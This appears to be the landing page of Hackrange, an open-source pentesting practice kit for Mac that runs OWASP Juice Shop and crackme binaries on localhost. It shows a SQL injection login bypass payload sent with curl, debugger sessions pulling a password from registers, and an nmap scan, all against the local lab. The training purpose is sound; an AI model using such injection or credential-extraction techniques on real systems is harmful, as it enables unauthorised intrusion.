(lldb) breakpoint set -n strcmp
(lldb) continue
stop reason = breakpoint 2.1
_platform_strcmp$VARIANT$Base
(lldb) register read x0 x1
  x0 = 0x000000016fdfd0a8
  x1 = 0x000000010000059d  "hunter2"

$ nmap -sV -p 3000 127.0.0.1
Nmap scan report for localhost
Host is up (0.000049s latency).

PORT     STATE SERVICE
3000/tcp open  ppp?

$ otool -tv re/bin/crackme2
ldrsb  w8, [x8, x9]
mov    w9, #0x5a
eor    w8, w8, w9
ldr    x10, [sp, #0x18]
adrp   x9, 0
add    x9, x9, #0x66c
ldrb   w9, [x9, x10]
subs   w8, w8, w9
b.eq   0x1000005b0

$ curl localhost:3000/rest/user/login \
    -d "{\"email\":\"' OR 1=1--\", ...}"
{"authentication":{
  "umail":"admin@juice-sh.op",
  "token":"eyJ0eXAiOiJKV1QiLCJhbGci"
}}

$ strings re/bin/crackme2
license key:
invalid
valid
$ echo KX92-QT7A | re/bin/crackme2
license key: invalid

$ curl -H 'Accept: application/json' \
    localhost:3000/ftp
quarantine
acquisitions.md
announcement_encrypted.md
eastere.gg
encrypt.pyc
incident-support.kdbx
legal.md
suspicious_errors.yml

Hackrange, a pentesting dojo for your Mac

Learn to break in on your own machine.

A broken web shop to attack and small binaries to crack. It all runs on localhost, with no VM and no Docker.

Start hacking Read the source

Free and open source. Needs a Mac with the Xcode command line tools and Node.

Two tracks

Find the bug yourself

Reading about SQL injection teaches you the word. Logging in as admin with one quote mark teaches you the bug.

$ curl -s localhost:3000/rest/user/login \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"' OR 1=1--\",\"password\":\"x\"}"

umail  admin@juice-sh.op
token  eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...

info: Solved 2-star loginAdminChallenge

Web pentest

A shop that wants to be robbed

OWASP Juice Shop has over a hundred scored challenges: injection, broken access control, XSS and more. Solve one and its score board ticks it off.

$ lldb re/bin/crackme1
(lldb) breakpoint set -n fgets
(lldb) process launch
(lldb) thread step-out
(lldb) breakpoint set -n strcmp
(lldb) continue
(lldb) register read x0 x1
  x0 = 0x000000016fdfd0a8
  x1 = 0x000000010000059d  "hunter2"

Reverse engineering

Passwords fall out of registers

Small C programs, stripped of symbols. Read the assembly, stop at the compare, and take the secret out of memory.

Setup

Nothing to install twice

One script fetches Juice Shop. One script builds the crackmes. The debugger ships with Xcode.

Safety

Pinned to loopback

Juice Shop normally listens on your whole network. Hackrange holds it to 127.0.0.1 or refuses to start.

Progress

Plain text

Each track keeps a checklist and a spoiler file. Tick things off as you go. Peek only when you are stuck.

Start

Four commands in

Clone it, start the shop, then open the score board at localhost:3000/#/score-board.

$ git clone https://github.com/nulljosh/hackrange
$ cd hackrange
$ ./pentest/run-juiceshop.sh   # the web track
$ ./re/build.sh               # the crackmes

One rule

Only attack what you own or have written permission to test. Everything here stays on your machine. Pointing these skills at someone else's system without permission is a crime, and it is not what this is for. Read the rules.